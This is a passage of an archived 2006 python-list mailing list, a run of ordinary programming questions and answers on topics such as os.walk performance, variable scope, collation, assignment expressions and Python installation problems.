is nothing short of remarkable.  If you find issues in the process, ask for
help on the numpy/scipy lists and I'm sure you will receive some.  But
please refrain from spreading FUD.

Regards,

f



From bearophileHUGS at lycos.com  Tue Oct 10 19:38:32 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 10 Oct 2006 16:38:32 -0700
Subject: default variable in python $_
In-Reply-To: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
Message-ID: <1160523512.834169.290950@b28g2000cwb.googlegroups.com>

rh0dium:
> This is where $_ in perl is awesome - There must be a default variable
> in python right?

A default variable may add bugs to your code, and newbies of the
language may see it coming from air, so Python avoids such things. The
only Python "default variable" I know of is the _ that when used in the
Python shell, it (seem to) stores the last not-None result (inside
scripts it is a normal name sometimes used to 'ignore' some values):

>>> a = 1
>>> _
Traceback (most recent call last):
  ...
NameError: name '_' is not defined
>>> print 2
2
>>> _
Traceback (most recent call last):
  ...
NameError: name '_' is not defined
>>> 5 / 3
1
>>> _
1
>>> None
>>> _
1
>>> 2
2
>>> _
2

Bye,
bearophile



From Eric_Dexter at msn.com  Thu Oct 19 09:31:43 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 19 Oct 2006 06:31:43 -0700
Subject: passing values to a program
In-Reply-To: <mailman.737.1161238035.11739.python-list@python.org>
References: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>
	<mailman.737.1161238035.11739.python-list@python.org>
Message-ID: <1161264702.998244.320230@i42g2000cwa.googlegroups.com>

If it is as simple as using the sys and dot befour the argv then I have
it made..  The example I was trying to get that from came from the
first edition programming python (I think they were using version 1.3).
 thanks for the help I will give that a try.

https://sourceforge.net/project/stats/?group_id=156455&ugn=dex-tracker


Fredrik Lundh wrote:
> Eric_Dexter at msn.com wrote:
>
> >      I almost have this thing running like I want it to run but I want
> > the values to come from the program that calls this one.  There are two
> > things I want to pass File_Name and CutString.  They both need to go to
> > loadFile routine of Class WordGrid to replace constants.
>
> note that your code is already using "sys.argv" to read arguments from
> the command line (inside the main function), so obviously you know how
> to do that, and your code is passing arguments around (to both the
> constructor and the main function), so obviously you know how to do that.
>
> so what's the problem here?  why not just use the mechanisms you already
> know how to use?
> 
> </F>



From gerrit at nl.linux.org  Wed Oct 18 08:31:27 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 18 Oct 2006 14:31:27 +0200
Subject: matrix Multiplication
In-Reply-To: <1161173235.942581.277590@k70g2000cwa.googlegroups.com>
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
	<mailman.682.1161171052.11739.python-list@python.org>
	<1161173235.942581.277590@k70g2000cwa.googlegroups.com>
Message-ID: <20061018123127.GA15437@topjaklont.student.utwente.nl>

On 2006-10-18 14:15:17 +0200, Sssasss wrote:
> Fredrik Lundh wrote:
> > "Sssasss" wrote:
> >
> > > I wan't to multiply two square matrixes, and i don't understand why it
> > > doesn't work.
> > >
> > > def multmat(A,B):
> > >    "A*B"
> > >    if len(A)!=len(B): return "error"
> > >    D=[]
> > >    C=[]
> > >    for i in range(len(A)): D.append(0)
> > >    for i in range(len(A)): C.append(D)
> >
> > append doesn't copy data, so you're basically adding len(A) references to
> > the same D list to C.  for more on this, see:
> >
> >     http://pyfaq.infogami.com/how-do-i-create-a-multidimensional-list
> > 
> > </F>
> 
> Ok!! Tank you very much, i understand now.

You might also want to look at numpy/numarray.

Gerrit.


From maxm at mxm.dk  Mon Oct  2 11:48:22 2006
From: maxm at mxm.dk (Max M)
Date: Mon, 02 Oct 2006 17:48:22 +0200
Subject: Making posts to an ASP.NET webform.
In-Reply-To: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
Message-ID: <452134c7$0$14008$edfadb0f@dread15.news.tele.dk>

Bernard skrev:

> Has anyone tried what I'm doing? and if you tried how have you
> succeeded getting the data back after the post action?

Most likely you get assigned a cookie that you then need to return.

Try the cookielib which automates all this for you.


From harry.g.george at boeing.com  Tue Oct 31 11:24:05 2006
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 31 Oct 2006 16:24:05 GMT
Subject: Python tools for managing static websites?
References: <d6e943400610310409i6c3672cdvba64f70f8a05547f@mail.gmail.com>
	<mailman.1551.1162307142.11739.python-list@python.org>
Message-ID: <xqxiri0v4gq.fsf@cola3.ca.boeing.com>

Walter D?rwald <walter at livinglogic.de> writes:

> Chris Pearl wrote:
> 
> > Are there Python tools to help webmasters manage static websites?
> > 
> > [...]
> 
> You might give XIST a try: http://www.livinglogic.de/Python/xist/
> 
> Basically XIST is an HTML generator, that can be extended to generate
> the HTML you need for your site. The website
> http://www.livinglogic.de/Python/ itself was generated with XIST. You
> can find the source for the website here:
> http://www.livinglogic.de/viewcvs/index.cgi/LivingLogic/WWW-Python/site/
> 
> Hope that helps!
> 
> Bye,
>    Walter D?rwald

1. If the static page can be autogenerated (e.g., from a data file or
   from an analysis), the best bet is to just write the html directly.
   Typically do as triple quoted text blocks with named variable
   substitutions, then print them with the substitutions filled.  The
   chunks are dictated by the structure of the problem (e.g.,
   functions for beginning and end of html page, for beginning and end
   of a form, for repeating rows in a table, etc.)  Just structure the
   app reasonably and put in the chnks where needed.

   NOTE -  When I first moved from Perl to Python, I thought I'd need
   CGI.pm, so I did cgipm.py:
   http://www.seanet.com/~hgg9140/comp/index.html
   http://www.seanet.com/~hgg9140/comp/cgipm/doc/manual.html

   However, I (and others in this newsgroup) recommend the
   write-directly approach instead.

2. If there must be human-in-the-loop, then it is good to use a markup
   language which can be converted to html (or to other backends).
   Perrl's POD format is one, and I've done that as a Pdx.

   http://www.seanet.com/~hgg9140/comp/index.html
   http://www.seanet.com/~hgg9140/comp/pdx/doc/manual.html


-- 
Harry George
PLM Engineering Architecture


From sjdevnull at yahoo.com  Fri Oct  6 16:46:42 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 6 Oct 2006 13:46:42 -0700
Subject: News on versions modules for Python-2.5?
In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr>
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <1160167602.875088.43310@c28g2000cwb.googlegroups.com>

M?ta-MCI wrote:
> And who can confirm that these modules are independent of Python version?
>
>     ReportLab

I can't confirm it's 100% independent, but I have been using reportlab
on Windows and Linux with Python 2.5.



From chtaylo3 at gmail.com  Wed Oct 18 13:33:23 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Wed, 18 Oct 2006 13:33:23 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
Message-ID: <2590773a0610181033u2305767eoc7684361867c53c7@mail.gmail.com>

RHEL comes with Python2.3 installed.  A program I need to install
requires Python2.4

So I got Python2.4 from source and compiled it up.  I configured it
with --prefix=/usr  --exec-prefix=/usr and --enable-unicode=ucs4 .  I
then make'd it and then make altinstall so that it didn't overwrite
the /usr/bin/Python link to /usr/bin/Python2.3  .

Well, for some reason, the arch dependent files did NOT get placed
properly in /usr/lib64/Python2.4, they instead went to
/usr/lib/Python2.4.

Also, when I tried to load pysqlite:
$ Python2.4
>>> from pysqlite2 import test

I get the following traceback:

Traceback (most recent call last):
 File "setup.py", line 24, in ?
   import glob, os, re, sys
 File "/usr/lib64/python2.3/glob.py", line 4, in ?
   import fnmatch
 File "/usr/lib64/python2.3/fnmatch.py", line 13, in ?
   import re
 File "/usr/lib64/python2.3/re.py", line 5, in ?
   from sre import *
 File "/usr/lib64/python2.3/sre.py", line 97, in ?
   import sre_compile
 File "/usr/lib64/python2.3/sre_compile.py", line 17, in ?
   assert _sre.MAGIC == MAGIC, "SRE module mismatch"
AssertionError: SRE module mismatch

This basically means to me that Python2.4 is loading gloab.py from
/usr/lib64/Python2.3 insead of /usr/lib/Python2.4  (even thought I
wanted to install the related files in /usr/lib64/Python2.4)

Can someome please help!

Respectfully,
Christopher Taylor


From rrr at ronadam.com  Wed Oct 18 18:17:57 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 17:17:57 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <1161204787.209795.315900@i42g2000cwa.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08>
	<1161204787.209795.315900@i42g2000cwa.googlegroups.com>
Message-ID: <PNxZg.6714$fl.4591@dukeread08>



This is how I changed it...

(I edited out the test and imports for posting here.)



locale.setlocale(locale.LC_ALL, '')  # use current locale settings

class Collate(object):
     """ A general purpose and configurable collator class.
     """
     options = [ 'CAPS_FIRST', 'NUMERICAL', 'HYPHEN_AS_SPACE',
                 'UNDERSCORE_AS_SPACE', 'IGNORE_LEADING_WS',
                 'IGNORE_COMMAS', 'PERIOD_AS_COMMAS' ]

     def __init__(self, flags=""):
         if flags:
             flags = flags.upper().split()
             for value in flags:
                 if value not in self.options:
                     raise ValueError, 'Invalid option: %s' % value
             self.txtable = []
             if 'HYPHEN_AS_SPACE' in flags:
                 self.txtable.append(('-', ' '))
             if 'UNDERSCORE_AS_SPACE' in flags:
                 self.txtable.append(('_', ' '))
             if 'PERIOD_AS_COMMAS' in flags:
                 self.txtable.append(('.', ','))
             if 'IGNORE_COMMAS' in flags:
                 self.txtable.append((',', ''))
         self.flags = flags
         self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)

     def transform(self, s):
         """ Transform a string for collating.
         """
         if not self.flags:
             return locale.strxfrm(s)
         for a, b in self.txtable:
             s = s.replace(a, b)
         if 'IGNORE_LEADING_WS' in self.flags:
             s = s.strip()
         if 'CAPS_FIRST' in self.flags:
             s = s.swapcase()
         if 'NUMERICAL' in self.flags:
             slist = self.numrex.split(s)
             for i, x in enumerate(slist):
                 try:
                     slist[i] = float(x)
                 except:
                     slist[i] = locale.strxfrm(x)
             return slist
         return locale.strxfrm(s)

     def __call__(self, a):
         """ This allows the Collate class to be used as a sort key.

                 USE: list.sort(key=Collate(flags))
         """
         return self.transform(a)

def collate(slist, flags=[]):
     """ Collate list of strings in place.
     """
     slist.sort(key=Collate(flags).transform)

def collated(slist, flags=[]):
     """ Return a collated list of strings.
     """
     return sorted(slist, key=Collate(flags).transform)



From aking at mappi.helsinki.fi  Tue Oct 31 01:24:50 2006
From: aking at mappi.helsinki.fi (aking at mappi.helsinki.fi)
Date: Tue, 31 Oct 2006 08:24:50 +0200
Subject: create global variables?
Message-ID: <1162275890.4546ec32cd351@www2.helsinki.fi>



J. Clifford Dyer wrote:
> Alistair King wrote:
>   
>> Hi,
>>
>> is there a simple way of creating global variables within a function?
>>
>> ive tried simply adding the variables in:
>>
>> def function(atom, Xaa, Xab):
>>     Xaa = onefunction(atom)
>>     Xab = anotherfunction(atom)
>>
>> if i can give something like:
>>
>> function('C')    #where atom = 'C' but not necessarly include Xaa or Xab
>>
>> i would like to recieve:
>>
>> Caa = a float
>> Cab = another float
>>
>> ive tried predefining Xaa and Xab before the function but they are
>> global values and wont change within my function. Is there a simple way
>> round this, even if i call the function with the variables ('C', Caa, Cab)?
>>
...............................................................................................................................
>>
>> some actual code:
>>
>> # sample dictionaries
>> DS1v = {'C': 6}
>> pt = {'C': 12.0107}
>>
>> def monoVarcalc(atom):
>>     a = atom + 'aa'
>>     Xaa = a.strip('\'')
>>     m = atom + 'ma'
>>     Xma = m.strip('\'')
>>     Xaa = DS1v.get(atom)
>>     Xma = pt.get(atom)
>>     print Xma
>>     print Xaa
>>
>> monoVarcalc('C')
>>
>> print Caa
>> print Cma
>>
...............................................................................................................................
>> it seems to work but again i can only print the values of Xma and Xaa
>>
>> ?
>>
>> Alistair
>>
>>     
>
> I suspect you are misusing the concept of a function.  In most basic 
> cases, and I suspect your case applies just as well as most, a function 
> should take arguments and return results, with no other communication 
> between the calling code and the function itself.  When you are inside 
> your function don't worry about the names of the variables outside.  I'm 
> not sure exactly where your floats are coming from, but try something 
> like this:
>
>  >>> def monoVarCalc(relevant_data):
> ...     float1 = relevant_data * 42.0
> ...     float2 = relevant_data / 23.0
> ...     return float1, float2
>
>  >>> C = 2001
>  >>> Caa, Cab = monoVarCalc(C)
>  >>> Caa
> 84042.0
>  >>> Cab
> 87.0
>
> Notice that you don't need to use the variable C (or much less the 
> string "C", inside monoVarCalc at all.  It gets bound to the name 
> relevant_data instead.
>
> Also, if you are going to have a lot of these little results lying 
> around, (Cab, Cac ... Czy, Czz), you might consider making them a list 
> or a dictionary instead.  I won't tell you how to do that, though.  The 
> online tutorial has plenty of information on that.
>
> http://docs.python.org/tut/tut.html
>
>
> Cheers,
> Cliff
>   
this worked a treat:

def monoVarcalc(atom):

   a = atom + 'aa'
   Xaa = a.strip('\'')
   m = atom + 'ma'
   Xma = m.strip('\'')
   Xaa = DS1v.get(atom)
   Xma = pt.get(atom)
   return Xaa, Xma


Caa, Cma = monoVarcalc('C')


thanks

Ali

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366





From zeng at adobe.com  Thu Oct 12 20:11:21 2006
From: zeng at adobe.com (Ted Zeng)
Date: Thu, 12 Oct 2006 17:11:21 -0700
Subject: php and python: how to unpickle using PHP?
In-Reply-To: <eftuba$3ue$1@foggy.unx.sas.com>
Message-ID: <454FD769B559DD4BAC93B2CCA7BEBDBE01367D62@namail2.corp.adobe.com>

Thanks for everyone who replied my question.
I could not access to the messages from this list
Until today.

I will look up the solutions you guys suggested.

Ted zeng

-----Original Message-----
From: python-list-bounces+zeng=adobe.com at python.org
[mailto:python-list-bounces+zeng=adobe.com at python.org] On Behalf Of Tim
Arnold
Sent: Tuesday, October 03, 2006 8:07 AM
To: python-list at python.org
Subject: Re: php and python: how to unpickle using PHP?


<bearophileHUGS at lycos.com> wrote in message 
news:1159825509.493262.11490 at h48g2000cwc.googlegroups.com...
> Ted Zeng:
>> I store some test results into a database after I use python
>> To pickle them (say, misfiles=['file1','file2'])
>> Now I want to display the result on a web page which uses PHP.
>> How could the web page unpickle the results and display them?
>> Is there a PHP routine that can do unpickle ?
>
> Instead of pickling, maybe you can save the data from python in json
> format:
> http://www.json.org/
> Then you can read it from PHP.

wddx format is a workable solution as well

http://pyxml.sourceforge.net/
plus
http://us2.php.net/wddx


-- 
http://mail.python.org/mailman/listinfo/python-list


From deets at nospam.web.de  Tue Oct  3 18:59:04 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 04 Oct 2006 00:59:04 +0200
Subject: Running scripts in a sandbox
In-Reply-To: <1159915382.502133.299850@h48g2000cwc.googlegroups.com>
References: <1159915382.502133.299850@h48g2000cwc.googlegroups.com>
Message-ID: <4og89rFeegj8U1@uni-berlin.de>

Samuel schrieb:
> Hi,
> 
> I currently have two files:
> 
> core.py
>   Runs the application, provides APIs to plugins
> 
> untrusted-plugin.py
>   Executes code using the API from core.py
> 
> I would like to run the code of untrusted-plugin.py in a sandbox, but
> still provide it with some hooks to the core API.
> My environment does not allow me to apply any changes OS-wise (standard
> web hoster), so I have no way to run the plugin in another process.
> 
> I found a reference to rexec using Google, but apparently it was
> removed due to security issues in Python 2.3. Is there antoher way to
> do this?

ZOPE has some restriced execution environment - maybe you can borrow it. 
But it is very restrictive I believe, and generally speaking python 
isn't equipped to support fine coarsed resource control. Maybe at some 
point PyPy might help there, but that certainly will take a while and 
isn't standard webhoster stuff either.

diez


From kadeko at gmail.com  Fri Oct 13 05:27:26 2006
From: kadeko at gmail.com (looping)
Date: 13 Oct 2006 02:27:26 -0700
Subject: Big speed boost in os.walk in Python 2.5
Message-ID: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>

Hi,
I noticed a big speed improvement in some of my script that use os.walk
and I write a small script to check it:
import os
for path, dirs, files in os.walk('D:\\FILES\\'):
    pass

Results on Windows XP after some run to fill the disk cache (with
~59000 files and ~3500 folders):
Python 2.4.3 : 45s
Python 2.5 : 10s

Very nice, but somewhat strange...
Is Python 2.4.3 os.walk buggy ???
Is this results only valid in Windows or *nix system show the same
difference ?
The profiler show that most of time is spend in ntpath.isdir and this
function is *a lot* faster in Python 2.5.
Maybe this improvement could be backported in Python 2.4 branch for the
next release ?


Python 2.4.3
         604295 function calls (587634 primitive calls) in 48.629 CPU
seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
    62554    0.264    0.000    0.264    0.000 :0(append)
        1    0.001    0.001   48.593   48.593 :0(execfile)
    66074    0.197    0.000    0.197    0.000 :0(len)
     3521    5.219    0.001    5.219    0.001 :0(listdir)
        1    0.036    0.036    0.036    0.036 :0(setprofile)
    62554   38.812    0.001   38.812    0.001 :0(stat)
        1    0.000    0.000   48.593   48.593 <string>:1(?)
    66074    0.218    0.000    0.218    0.000 ntpath.py:116(splitdrive)
     3520    0.009    0.000    0.009    0.000 ntpath.py:246(islink)
    62554    0.767    0.000   40.137    0.001 ntpath.py:268(isdir)
    66074    0.433    0.000    0.650    0.000 ntpath.py:51(isabs)
    66074    0.880    0.000    1.726    0.000 ntpath.py:59(join)
20183/3522    1.217    0.000   48.573    0.014 os.py:211(walk)
        1    0.000    0.000   48.629   48.629
profile:0(execfile('test.py'))
        0    0.000             0.000          profile:0(profiler)
    62554    0.174    0.000    0.174    0.000 stat.py:29(S_IFMT)
    62554    0.385    0.000    0.559    0.000 stat.py:45(S_ISDIR)
        1    0.019    0.019   48.592   48.592 test.py:1(?)


Python 2.5:
         604295 function calls (587634 primitive calls) in 17.386 CPU
seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
    62554    0.247    0.000    0.247    0.000 :0(append)
        1    0.001    0.001   17.315   17.315 :0(execfile)
    66074    0.168    0.000    0.168    0.000 :0(len)
     3521    5.287    0.002    5.287    0.002 :0(listdir)
        1    0.071    0.071    0.071    0.071 :0(setprofile)
    62554    7.812    0.000    7.812    0.000 :0(stat)
        1    0.000    0.000   17.315   17.315 <string>:1(<module>)
    66074    0.186    0.000    0.186    0.000 ntpath.py:116(splitdrive)
     3520    0.009    0.000    0.009    0.000 ntpath.py:245(islink)
    62554    0.712    0.000    9.013    0.000 ntpath.py:267(isdir)
    66074    0.394    0.000    0.581    0.000 ntpath.py:51(isabs)
    66074    0.815    0.000    1.564    0.000 ntpath.py:59(join)
20183/3522    1.176    0.000   17.296    0.005 os.py:218(walk)
        1    0.000    0.000   17.386   17.386
profile:0(execfile('test.py'))
        0    0.000             0.000          profile:0(profiler)
    62554    0.159    0.000    0.159    0.000 stat.py:29(S_IFMT)
    62554    0.331    0.000    0.489    0.000 stat.py:45(S_ISDIR)
        1    0.018    0.018   17.314   17.314 test.py:1(<module>)



From jstroud at mbi.ucla.edu  Sat Oct 14 05:00:53 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sat, 14 Oct 2006 09:00:53 GMT
Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks
	in python
In-Reply-To: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
Message-ID: <9H1Yg.22570$Ij.4169@newssvr14.news.prodigy.com>

brenocon at gmail.com wrote:
> Hi all --
> 
> Compared to the Python I know and love, Ruby isn't quite the same.
> However, it has at least one terrific feature: "blocks".  Whereas in
> Python a
> "block" is just several lines of locally-scoped-together code, in Ruby
> a
> "block" defines a closure (anonymous function).  To avoid confusion
> let's call
> them Ruby block-closures.  I see them as just a syntax for defining
> closures
> and passing them into method calls.  I think something analogous could
> be added
> to Python in a very simple manner that would make closures much more
> readable
> and usable, and nail some use cases nicely.
> 
> To define a new closure and pass it into a function call, there are two
> current
> methods: inline 'def' and 'lambda'.  Consider the following Twisted-ish
> code:
> 
>     deferred = fetchPage('http://python.org')
>     def _showResponse(response)
>         print "fancy formatting: %s" % response.text
>     deferred.addCallback(_showResponse)
> 
> Lots of Twisted code has to be written backwards like this.
> Theoretically, it
> might be nice to use lambda right in the addCallback() call, like:
> 
>     deferred.addCallback(lambda r:  print("fancy formatting %s"
> %r.text) )
> 
> But this is awkward since the lambda is constrained to be one line; you
> can't
> come back later and add much to the callback's code.  Furthermore, this
> example
> isn't even legal, because 'print' isn't a function, but a statement --
> lambda
> is further constrained to only contain an expression.
> 
> Many have complained about this crippled-ness of lambda, but it
> actually makes
> some sense.  Since Python uses colons and indentation to define blocks
> of code,
> it would be awkward to close a multiline lambda.  The best I could
> think of
> would look like
> 
>     deferred.addCallback(lambda r:
>         print("fancy formatting %s" % r.text)
>     )
> 
>     ^
>     |
> 
> That trailing paranthesis is WAY un-Pythonic.  We don't close code
> blocks like
> that!  And in general, declaring big multiline anonymous functions in
> the
> middle of a list of normal variable arguments is weird -- it just
> doesn't fit.
> It's perfectly legal to pass in 4 closures, interspersed with number
> and string
> arguments.  Imagine defining all of those inline with 'lambda'
> expressions!
> And what about nesting?  And then there's the term "lambda", while a
> great
> homage to Lisp and computation theory, just isn't the friendliest
> programming
> vocab term.
> 
> (from my limited understanding,) Ruby block-closures assume a specific
> use
> case: You want to pass exactly one multiline, defined-right-there
> closure to a
> method when calling it.  Therefore, you should get to define the
> closure
> *immediately following* the method call.  I suggest a Python version
> with a
> keyword 'using' (or 'with'?) that takes the block of code as a closure,
> and
> passes it to the method call as the *last argument*.  The above example
> becomes:
> 
>     deferred.addCallback() using response:
>         print "fancy formatting %s" % response.text
> 
> and in general, the following two code snippets are equivalent:
> 
> 
>     def _f(x,y):
>         [do stuff with x and y]
>     function_with_callback(a,b,c, _f)
> 
>     function_with_callback(a,b,c) using x,y:
>         [do stuff with x and y]
>     next_statement()
> 
> ... where function_with_callback wants a 2-arg function as its last
> argument.
> It gets to call _f, or equivalently the defined-right-there
> closure/ruby-block,
> however it wants to -- wait for an I/O operation to finish, whatever.
> I'm not
> so hot about the fact that it looks like addCallback() should be
> completed
> before the 'using' keyword kicks in, but this is the simplest I could
> think of.
> 
> This syntax does not let you define a new function and store it as a
> local
> variable.  Python already has inline 'def' for that (that is, you can
> do a
> 'def' in any block of code you want, and it stays local to that scope.)
>  It
> does not, strictly speaking, let you do anything new -- as Guido has
> stated,
> you could ditch lambda and achieve the equivalent by declaring the
> little
> callback function as an inline 'def', like in the first deferred
> example here.
> 
> This only optimizes for the case of defining a closure only for the
> purpose of
> passing it in as an argument to a method.  However, this must be the
> only use
> for anonymous functions in Python, since we already have inline 'def'.
> I've
> always felt that passing in a lambda in lisp and python, or the
> equivalent
> anonymous function(x,y) {} in javascript, or anonymous classes in java,
> was
> always awkward.  You have to think about defining a new anonymous
> function
> *within* your method call and such, and then you have to close
> parantheses
> after it -- it's just weird, I dunno.
> 
> This proposal could also handle some of the use cases mentioned in PEP
> 310 and
> 340.  If you design your callback-taking functions to have only one
> callback
> and have it as the last argument, you can trivially write lock
> acquition (omit
> 'using' for a no-arg block-closure):
> 
>     def protect(lock, f):
>         lock.acquire()
>         f()
>         lock.release()
> 
>     protect(myLock):
>         [do stuff that needs myLock to be acquired]
> 
> Of course, the definition of protect() might have try/finally wrapped
> around
> the f() call.  (Interestingly, this starts looking like a way to define
> new
> control-like structures.  I haven't thought through the implications.)
> 
> ActiveRecord, Rails' object-relational mapper, does almost exactly this
> for
> database transactions, and I have found it quite nice:
> 
>     # User is a sqlobject/sqlalchemy/django/whatever ORM class;
>     # User.transaction is a class method executing its passed-in
> closure within
>     #  the user table's START TRANSACTION and STOP TRANSACTION.
> 
>     user1, user2 = getTwoUsers()
>     User.transaction() using user1, user2:
>         someRaceConditionProneStuff(user1, user2)
>         moreRaceConditionProneStuff(user1, user2)
> 
> There might be some sort of overlap with PEP 343 and the 'with'
> statement, but
> I'm not sure exactly.  Sorry I'm late to the game and commenting on
> last year's
> PEP's, but I've only started reading them.  Note that PEP's 343 and 340
> are
> very focused on resource management -- but I think that letting one
> define code
> blocks as closures could make resource handling routines be easily
> written in
> Python.  Furthermore, tons more stuff -- like Deferreds and such --
> could be
> added.  (Ruby uses block-closures to do really basic constructs such as
> foreach
> iteration.  Python does a fine job with "for x in L" and list and
> generator
> comprehensions... enough so that map/lambda is obsolete!  I'm just
> trying to
> see if there are use cases in Python for block-closures.)
> 
> I've been trying to search for similar proposals but have come up dry.
> Anything like this out there?  I hear Ruby blocks are heavily inspired
> by
> Smalltalk; anyone know more?
> 
> Is it feasible to assume the primary use of closures is as part of an
> argument
> list, and such argument lists will want only one argument that is a
> closure?
> Does doing so avoid any big annoyances of functional programming?
> 
> Is this completely, totally incompatible with the current state of
> Python and
> previous deliberations :) ?  e.g. I haven't thought much about how this
> would
> interact with yield and generators.
> 
> But really, I'm just idly curious -- does anyone think this might be
> useful?
> 
> 
> Take care,
> Brendan
> 

http://mail.python.org/pipermail/python-list/2004-April/215805.html


From neuhauser+python-list#python.org at sigpipe.cz  Tue Oct 10 07:49:45 2006
From: neuhauser+python-list#python.org at sigpipe.cz (Roman Neuhauser)
Date: Tue, 10 Oct 2006 11:49:45 +0000
Subject: operator overloading + - / * = etc...
In-Reply-To: <egakob$76a$2@sea.gmane.org>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
Message-ID: <20061010114945.GA4478@dagan.sigpipe.cz>

# steve at holdenweb.com / 2006-10-08 11:44:18 +0100:
> That's because assignment isn't an operator - that's why (for example)
> 
>      print x = 33
> 
> would be a syntax error. This is a deliberate design decision about 
> which, history shows, there is little use complaining.

    Just to clarify: not that there's little complaining about
    assignment not being an expression, it's useless to complain because
    all previous complaints have been shot down on the basis of claims
    of reduced safety and readability. People who complain often fail to
    see how
    
    x = foo()
    while x:
        process(x)
        x = foo()

    is safer than

    while x = foo():
        process(x)

    (duplication hampers code safety) or how some other features present
    in the language, e. g.  comprehensions, could make it past the
    readability check.

    Everybody has an opinion; those who put the most work in the project
    get to decide what the software looks like.

-- 
How many Vietnam vets does it take to screw in a light bulb?
You don't know, man.  You don't KNOW.
Cause you weren't THERE.             http://bash.org/?255991


From fredrik at pythonware.com  Sun Oct  1 11:48:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 17:48:38 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <efoo0p$59s$2@sea.gmane.org>

charlie strauss wrote:

> level0:  newly created objects
> level1:  objects that survived 1 round of garbage collection
> level2:  objects that survivied 2+ rounds of gargbage collection
> 
> Since all of my numerous objects are level2 objects, and none of
 > them are every deallocated, then I should never trip the GC for
 > these.

your understanding of generational GC is a bit fuzzy, it seems.  that an 
object is promoted to a higher level means that it's not inspected quite 
as often as lower-level objects, not that it's never inspected at all.

</F>



From jstroud at mbi.ucla.edu  Fri Oct 20 02:34:13 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 20 Oct 2006 06:34:13 GMT
Subject: help with my first use of a class
In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
Message-ID: <F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>

BartlebyScrivener wrote:
> I am a mere hobbyist. Spent several hours trying to make a class,
> because I think this is an occasion where I need one. But I can't make
> it work.
> 
> This code "works" (only because of the global c, which I know I'm
> supposed to avoid, by using a Class). I edited the rest to leave out
> the irrelevant formatting and printing of the quotations.
> 
> I've read about Classes several times, but I don't "get" them yet.
> Obviously. If I can solve one real life problem like this, then maybe
> I'll see the light.
> 
> If I understand the power of Classes correctly, I could make one that
> would allow me to make a new instance that would connect to, say, an
> SQLite3 db instead of the Access db, as well as to create more methods
> that will do different SQL searches.
> 
> Thank you for any help,
> 
> rd
> 
> --------------------------------------
> 
> import mx.ODBC.Windows as odbc
> import sys
> import random
> 
> def connect():
>     global c
>     db='DSN=Quotations'
>     conn = odbc.DriverConnect(db)
>     c = conn.cursor()
> 
> def random_quote():
>     """
>     Counts all of the quotes in MS Access database Quotations2005.mdb.
>     Picks one quote at random and displays it using textwrap.
>     """
>     c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
>     # Yields the number of rows with something in the quote field
>     total_quotes = c.fetchone()
>     # Get a random number somewhere between 1 and the number of total
> quotes
>     quote_number = (random.randint(1, total_quotes[0]),)
>     # Select a quote where the ID matches that number
>     c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
> quote_number)
>     quote = c.fetchone()
>     blah blah blah
> 
> def print_quote()
>     code to format and print the quote (which will also have to be
> global, unless I learn Classes!)
> 
> 
> if __name__ == '__main__':
>     if len(sys.argv) == 1:
>         connect()
>         random_quote()
>         print_quote()
> 

You really don't need classes for this, just parameters + return values. 
Probably best would be to master the idea of parameters + return values 
before yo move on to classes. This is called "procedural" programming. 
Notice that there is no name collision because of strict python 
namespaces (a good idea, according to Tim Peters).


For example:

def connect():
     db='DSN=Quotations'
     conn = odbc.DriverConnect(db)
     c = conn.cursor()
     # NOTE THE RETURN VALUE:
     return c

def random_quote(c):  # <== NOTE THE PARAMETER
     """
     Counts all of the quotes in MS Access database Quotations2005.mdb.
     Picks one quote at random and displays it using textwrap.
     """
     c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
     # Yields the number of rows with something in the quote field
     total_quotes = c.fetchone()
     # Get a random number somewhere between 1 and ...
     quote_number = (random.randint(1, total_quotes[0]),)
